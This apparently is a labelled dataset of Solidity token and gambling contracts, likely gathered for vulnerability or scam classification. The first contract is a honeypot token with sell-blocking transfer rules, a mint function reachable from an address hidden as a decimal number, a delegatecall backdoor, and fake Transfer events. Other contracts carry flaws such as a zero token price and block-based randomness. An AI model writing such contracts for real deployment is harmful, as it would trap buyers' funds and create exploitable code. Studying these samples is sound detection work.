require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 368 |
pragma solidity 0.4.25;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a, "Bad maths.");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b <= a, "Bad maths.");
c = a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b, "Bad maths.");
}
function div(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b > 0, "Bad maths.");
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint256);
function balanceOf(address tokenOwner) public constant returns (uint256 balance);
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
function approve(address spender, uint256 tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address internal owner;
address internal newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner, "Only the owner may execute this function.");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function disown() public onlyOwner() {
delete owner;
}
function acceptOwnership() public {
require(msg.sender == newOwner, "You have not been selected as the new owner.");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract SnowdenToken is ERC20Interface, Owned {
using SafeMath for uint256;
string public symbol;
string public name;
uint8 public decimals;
uint256 internal accountCount = 0;
uint256 internal _totalSupply = 0;
bool internal readOnly = false;
uint256 internal constant MAX_256 = 2**256 - 1;
mapping(address => bool) public ignoreDividend;
event DividendGivenEvent(uint64 dividendPercentage);
mapping(address => uint256) public freezeUntil;
mapping(address => address) internal addressLinkedList;
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowed;
constructor(uint256 supply, address[] addresses, uint256[] tokens, uint256[] freezeList, address[] ignoreList) public {
symbol = "SNOW";
name = "Snowden";
decimals = 0;
_totalSupply = supply;
balances[address(0)] = _totalSupply;
uint256 totalAddresses = addresses.length;
uint256 totalTokens = tokens.length;
require(totalAddresses > 0 && totalTokens > 0, "Must be a positive number of addresses and tokens.");
require(totalAddresses == totalTokens, "Must be tokens assigned to all addresses.");
uint256 aggregateTokens = 0;
for (uint256 i = 0; i < totalAddresses; i++) {
require(tokens[i] > 0, "No empty tokens allowed.");
aggregateTokens = aggregateTokens + tokens[i];
require(aggregateTokens <= supply, "Supply is not enough for demand.");
giveReserveTo(addresses[i], tokens[i]);
freezeUntil[addresses[i]] = freezeList[i];
}
ignoreDividend[address(this)] = true;
ignoreDividend[msg.sender] = true;
for (i = 0; i < ignoreList.length; i++) {
ignoreDividend[ignoreList[i]] = true;
}
}
function () public payable {
revert();
}
function totalSupply() public constant returns (uint256) {
return _totalSupply;
}
function list() public view returns (address[], uint256[]) {
address[] memory addrs = new address[](accountCount);
uint256[] memory tokens = new uint256[](accountCount);
uint256 i = 0;
address current = addressLinkedList[0];
while (current != 0) {
addrs[i] = current;
tokens[i] = balances[current];
current = addressLinkedList[current];
i++;
}
return (addrs, tokens);
}
function remainingTokens() public view returns(uint256) {
return balances[address(0)];
}
function isReadOnly() public view returns(bool) {
return readOnly;
}
function balanceOf(address tokenOwner) public constant returns (uint256 balance) {
return balances[tokenOwner];
}
function requireTrade(address from) public view {
require(!readOnly, "Read only mode engaged");
uint256 i = 0;
address current = addressLinkedList[0];
while (current != 0) {
if(current == from) {
uint256 timestamp = freezeUntil[current];
require(timestamp < block.timestamp, "Trades from your account are temporarily not possible. This is due to ICO rules.");
break;
}
current = addressLinkedList[current];
i++;
}
}
function transfer(address to, uint256 tokens) public returns (bool success) {
requireTrade(msg.sender);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
ensureInAccountList(to);
return true;
}
function approve(address spender, uint256 tokens) public returns (bool success) {
requireTrade(msg.sender);
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint256 tokens) public returns (bool success) {
requireTrade(from);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
ensureInAccountList(from);
ensureInAccountList(to);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining) {
requireTrade(tokenOwner);
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint256 tokens, bytes data) public returns (bool success) {
requireTrade(msg.sender);
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function transferAnyERC20Token(address addr, uint256 tokens) public onlyOwner returns (bool success) {
requireTrade(addr);
return ERC20Interface(addr).transfer(owner, tokens);
}
function giveReserveTo(address to, uint256 tokens) public onlyOwner {
require(!readOnly, "Read only mode engaged");
balances[address(0)] = balances[address(0)].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(address(0), to, tokens);
ensureInAccountList(to);
}
function giveDividend(uint64 percentage) public onlyOwner {
require(!readOnly, "Read only mode engaged");
require(percentage > 0, "Percentage must be more than 0 (10000 = 1%)");
require(percentage <= 500000, "Percentage may not be larger than 500000 (50%)");
emit DividendGivenEvent(percentage);
address current = addressLinkedList[0];
while (current != 0) {
bool found = ignoreDividend[current];
if(!found) {
uint256 extraTokens = (balances[current] * percentage) / 1000000;
giveReserveTo(current, extraTokens);
}
current = addressLinkedList[current];
}
}
function setReadOnly(bool enabled) public onlyOwner {
readOnly = enabled;
}
function addToAccountList(address addr) internal {
require(!readOnly, "Read only mode engaged");
addressLinkedList[addr] = addressLinkedList[0x0];
addressLinkedList[0x0] = addr;
accountCount++;
}
function removeFromAccountList(address addr) internal {
require(!readOnly, "Read only mode engaged");
uint16 i = 0;
bool found = false;
address parent;
address current = addressLinkedList[0];
while (true) {
if (addressLinkedList[current] == addr) {
parent = current;
found = true;
break;
}
current = addressLinkedList[current];
if (i++ > accountCount) break;
}
require(found, "Account was not found to remove.");
addressLinkedList[parent] = addressLinkedList[addressLinkedList[parent]];
delete addressLinkedList[addr];
if (balances[addr] > 0) {
balances[address(0)] += balances[addr];
}
delete balances[addr];
accountCount--;
}
function ensureInAccountList(address addr) internal {
require(!readOnly, "Read only mode engaged");
bool found = false;
address current = addressLinkedList[0];
while (current != 0) {
if (current == addr) {
found = true;
break;
}
current = addressLinkedList[current];
}
if (!found) {
addToAccountList(addr);
}
}
} | 1 | 4,166 |
pragma solidity ^0.4.11;
library safeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract ERC20 {
function totalSupply() constant returns (uint supply);
function balanceOf(address who) constant returns (uint value);
function allowance(address owner, address spender) constant returns (uint _allowance);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract PlayCoin is ERC20{
uint initialSupply = 100000000000;
string public constant name = "PlayCoin";
string public constant symbol = "PLC";
uint freeCoinsPerUser = 100;
address ownerAddress;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) authorizedContracts;
mapping (address => bool) recievedFreeCoins;
modifier onlyOwner {
if (msg.sender == ownerAddress) {
_;
}
}
function authorizeContract (address authorizedAddress) onlyOwner {
authorizedContracts[authorizedAddress] = true;
}
function unAuthorizeContract (address authorizedAddress) onlyOwner {
authorizedContracts[authorizedAddress] = false;
}
function setFreeCoins(uint number) onlyOwner {
freeCoinsPerUser = number;
}
function totalSupply() constant returns (uint256) {
return initialSupply;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function authorizedTransfer(address from, address to, uint value) {
if (authorizedContracts[msg.sender] == true && balances[from]>= value) {
balances[from] -= value;
balances[to] += value;
Transfer (from, to, value);
}
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function PlayCoin() {
ownerAddress = msg.sender;
balances[ownerAddress] = initialSupply;
}
function () payable {
uint valueToPass = safeMath.div(msg.value,10**13);
if (balances[ownerAddress] >= valueToPass && valueToPass > 0) {
balances[msg.sender] = safeMath.add(balances[msg.sender],valueToPass);
balances[ownerAddress] = safeMath.sub(balances[ownerAddress],valueToPass);
Transfer(ownerAddress, msg.sender, valueToPass);
}
}
function withdraw(uint amount) onlyOwner {
ownerAddress.send(amount);
}
function getFreeCoins() {
if (recievedFreeCoins[msg.sender] == false) {
recievedFreeCoins[msg.sender] = true;
balances[msg.sender] = safeMath.add(balances[msg.sender],freeCoinsPerUser);
balances[ownerAddress] = safeMath.sub(balances[ownerAddress],freeCoinsPerUser);
Transfer(ownerAddress, msg.sender, freeCoinsPerUser);
}
}
} | 0 | 1,151 |
pragma solidity ^0.4.13;
contract ERC20Interface {
function totalSupply() constant returns (uint256 totalSupply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract CentraToken is ERC20Interface {
string public constant symbol = "Centra";
string public constant name = "Centra token";
uint8 public constant decimals = 18;
uint256 public constant maxTokens = 100000000*10**18;
uint256 public constant ownerSupply = maxTokens*32/100;
uint256 _totalSupply = ownerSupply;
uint256 public constant token_price = 1/400*10**18;
uint public constant ico_start = 1501891200;
uint public constant ico_finish = 1507248000;
uint public constant minValuePre = 1/10*10**18;
uint public constant minValue = 1/10*10**18;
uint public constant maxValue = 3000*10**18;
uint public constant card_gold_minamount = 30*10**18;
uint public constant card_gold_first = 1000;
mapping(address => uint) cards_gold_check;
address[] public cards_gold;
uint public constant card_black_minamount = 100*10**18;
uint public constant card_black_first = 500;
mapping(address => uint) public cards_black_check;
address[] public cards_black;
uint public constant card_titanium_minamount = 500*10**18;
uint public constant card_titanium_first = 200;
mapping(address => uint) cards_titanium_check;
address[] public cards_titanium;
uint public constant card_blue_minamount = 5/10*10**18;
uint public constant card_blue_first = 100000000;
mapping(address => uint) cards_blue_check;
address[] public cards_blue;
uint public constant card_start_minamount = 1/10*10**18;
uint public constant card_start_first = 100000000;
mapping(address => uint) cards_start_check;
address[] public cards_start;
using SafeMath for uint;
address public owner;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function CentraToken() {
owner = msg.sender;
balances[owner] = ownerSupply;
}
function() payable {
tokens_buy();
}
function totalSupply() constant returns (uint256 totalSupply) {
totalSupply = _totalSupply;
}
function withdraw() onlyOwner returns (bool result) {
owner.send(this.balance);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) returns (bool success) {
if(now < ico_start) throw;
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) returns (bool success) {
if(now < ico_start) throw;
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function cards_black_total() constant returns (uint) {
return cards_black.length;
}
function cards_gold_total() constant returns (uint) {
return cards_gold.length;
}
function cards_titanium_total() constant returns (uint) {
return cards_titanium.length;
}
function cards_blue_total() constant returns (uint) {
return cards_blue.length;
}
function cards_start_total() constant returns (uint) {
return cards_start.length;
}
function tokens_buy() payable returns (bool) {
uint tnow = now;
if(tnow > ico_finish) throw;
if(_totalSupply >= maxTokens) throw;
if(!(msg.value >= token_price)) throw;
if(!(msg.value >= minValue)) throw;
if(msg.value > maxValue) throw;
uint tokens_buy = msg.value/token_price*10**18;
if(!(tokens_buy > 0)) throw;
if(tnow < ico_start){
if(!(msg.value >= minValuePre)) throw;
tokens_buy = tokens_buy*125/100;
}
if((ico_start + 86400*0 <= tnow)&&(tnow < ico_start + 86400*2)){
tokens_buy = tokens_buy*120/100;
}
if((ico_start + 86400*2 <= tnow)&&(tnow < ico_start + 86400*7)){
tokens_buy = tokens_buy*110/100;
}
if((ico_start + 86400*7 <= tnow)&&(tnow < ico_start + 86400*14)){
tokens_buy = tokens_buy*105/100;
}
if(_totalSupply.add(tokens_buy) > maxTokens) throw;
_totalSupply = _totalSupply.add(tokens_buy);
balances[msg.sender] = balances[msg.sender].add(tokens_buy);
if((msg.value >= card_gold_minamount)
&&(msg.value < card_black_minamount)
&&(cards_gold.length < card_gold_first)
&&(cards_gold_check[msg.sender] != 1)
) {
cards_gold.push(msg.sender);
cards_gold_check[msg.sender] = 1;
}
if((msg.value >= card_black_minamount)
&&(msg.value < card_titanium_minamount)
&&(cards_black.length < card_black_first)
&&(cards_black_check[msg.sender] != 1)
) {
cards_black.push(msg.sender);
cards_black_check[msg.sender] = 1;
}
if((msg.value >= card_titanium_minamount)
&&(cards_titanium.length < card_titanium_first)
&&(cards_titanium_check[msg.sender] != 1)
) {
cards_titanium.push(msg.sender);
cards_titanium_check[msg.sender] = 1;
}
if((msg.value >= card_blue_minamount)
&&(msg.value < card_gold_minamount)
&&(cards_blue.length < card_blue_first)
&&(cards_blue_check[msg.sender] != 1)
) {
cards_blue.push(msg.sender);
cards_blue_check[msg.sender] = 1;
}
if((msg.value >= card_start_minamount)
&&(msg.value < card_blue_minamount)
&&(cards_start.length < card_start_first)
&&(cards_start_check[msg.sender] != 1)
) {
cards_start.push(msg.sender);
cards_start_check[msg.sender] = 1;
}
return true;
}
}
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
} | 0 | 2,213 |
pragma solidity ^0.4.25;
contract Dimitry {
using SafeMath for uint256;
string public constant symbol = "BIGDICK";
string public constant name = "Dimitry";
uint8 public constant decimals = 18;
uint256 _totalSupply = 100000000 * 10 ** uint256(decimals);
address public owner;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
constructor() Dimitry() public {
owner = msg.sender;
balances[owner] = _totalSupply;
}
function totalSupply() public constant returns (uint256) {
return _totalSupply;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
if (balances[msg.sender] >= _amount && _amount > 0) {
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0) {
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
if(balances[msg.sender]>=_amount && _amount>0) {
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
} else {
return false;
}
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function getMyBalance() public view returns (uint) {
return balances[msg.sender];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 2,865 |
pragma solidity ^0.4.24;
contract ZTHReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool);
}
contract ZTHInterface {
function transfer(address _to, uint _value) public returns (bool);
function approve(address spender, uint tokens) public returns (bool);
}
contract Zlots is ZTHReceivingContract {
using SafeMath for uint;
address private owner;
address private bankroll;
uint totalSpins;
uint totalZTHWagered;
uint contractBalance;
bool public gameActive;
address private ZTHTKNADDR;
address private ZTHBANKROLL;
ZTHInterface private ZTHTKN;
mapping (uint => bool) validTokenBet;
event HouseRetrievedTake(
uint timeTaken,
uint tokensWithdrawn
);
event TokensWagered(
address _wagerer,
uint _wagered
);
event LogResult(
address _wagerer,
uint _result,
uint _profit,
uint _wagered,
uint _category,
bool _win
);
event Loss(address _wagerer, uint _block);
event ThreeMoonJackpot(address _wagerer, uint _block);
event TwoMoonPrize(address _wagerer, uint _block);
event ZTHJackpot(address _wagerer, uint _block);
event ThreeZSymbols(address _wagerer, uint _block);
event ThreeTSymbols(address _wagerer, uint _block);
event ThreeHSymbols(address _wagerer, uint _block);
event ThreeEtherIcons(address _wagerer, uint _block);
event ThreeGreenPyramids(address _wagerer, uint _block);
event ThreeGoldPyramids(address _wagerer, uint _block);
event ThreeWhitePyramids(address _wagerer, uint _block);
event OneMoonPrize(address _wagerer, uint _block);
event OneOfEachPyramidPrize(address _wagerer, uint _block);
event TwoZSymbols(address _wagerer, uint _block);
event TwoTSymbols(address _wagerer, uint _block);
event TwoHSymbols(address _wagerer, uint _block);
event TwoEtherIcons(address _wagerer, uint _block);
event TwoGreenPyramids(address _wagerer, uint _block);
event TwoGoldPyramids(address _wagerer, uint _block);
event TwoWhitePyramids(address _wagerer, uint _block);
event SpinConcluded(address _wagerer, uint _block);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyBankroll {
require(msg.sender == bankroll);
_;
}
modifier onlyOwnerOrBankroll {
require(msg.sender == owner || msg.sender == bankroll);
_;
}
modifier gameIsActive {
require(gameActive == true);
_;
}
constructor(address ZethrAddress, address BankrollAddress) public {
ZTHTKNADDR = ZethrAddress;
ZTHBANKROLL = BankrollAddress;
owner = msg.sender;
bankroll = ZTHBANKROLL;
ZTHTKN = ZTHInterface(ZTHTKNADDR);
ZTHTKN.approve(ZTHBANKROLL, 2**256 - 1);
ZTHTKN.approve(owner, 2**256 - 1);
validTokenBet[5e18] = true;
validTokenBet[10e18] = true;
validTokenBet[25e18] = true;
validTokenBet[50e18] = true;
gameActive = true;
}
function() public payable { }
struct TKN { address sender; uint value; }
function tokenFallback(address _from, uint _value, bytes ) public returns (bool){
if (_from == bankroll) {
contractBalance = contractBalance.add(_value);
return true;
} else {
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
_spinTokens(_tkn);
return true;
}
}
struct playerSpin {
uint200 tokenValue;
uint56 blockn;
}
mapping(address => playerSpin) public playerSpins;
function _spinTokens(TKN _tkn) private {
require(gameActive);
require(_zthToken(msg.sender));
require(validTokenBet[_tkn.value]);
require(jackpotGuard(_tkn.value));
require(_tkn.value < ((2 ** 200) - 1));
require(block.number < ((2 ** 56) - 1));
address _customerAddress = _tkn.sender;
uint _wagered = _tkn.value;
playerSpin memory spin = playerSpins[_tkn.sender];
require(block.number != spin.blockn);
if (spin.blockn != 0) {
_finishSpin(_tkn.sender);
}
spin.blockn = uint56(block.number);
spin.tokenValue = uint200(_wagered);
playerSpins[_tkn.sender] = spin;
totalSpins += 1;
totalZTHWagered += _wagered;
emit TokensWagered(_customerAddress, _wagered);
}
function finishSpin() public
gameIsActive
returns (uint)
{
return _finishSpin(msg.sender);
}
function _finishSpin(address target)
private returns (uint)
{
playerSpin memory spin = playerSpins[target];
require(spin.tokenValue > 0);
require(spin.blockn != block.number);
uint profit = 0;
uint category = 0;
uint result;
if (block.number - spin.blockn > 255) {
result = 999999;
} else {
result = random(1000000, spin.blockn, target);
}
if (result > 476661) {
contractBalance = contractBalance.add(spin.tokenValue);
emit Loss(target, spin.blockn);
emit LogResult(target, result, profit, spin.tokenValue, category, false);
} else {
if (result < 1) {
profit = SafeMath.mul(spin.tokenValue, 500);
category = 1;
emit ThreeMoonJackpot(target, spin.blockn);
} else
if (result < 298) {
profit = SafeMath.mul(spin.tokenValue, 232);
category = 2;
emit TwoMoonPrize(target, spin.blockn);
} else
if (result < 3127) {
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232), 10);
category = 3;
emit ZTHJackpot(target, spin.blockn);
} else
if (result < 5956) {
profit = SafeMath.mul(spin.tokenValue, 25);
category = 4;
emit ThreeZSymbols(target, spin.blockn);
} else
if (result < 8785) {
profit = SafeMath.mul(spin.tokenValue, 25);
category = 5;
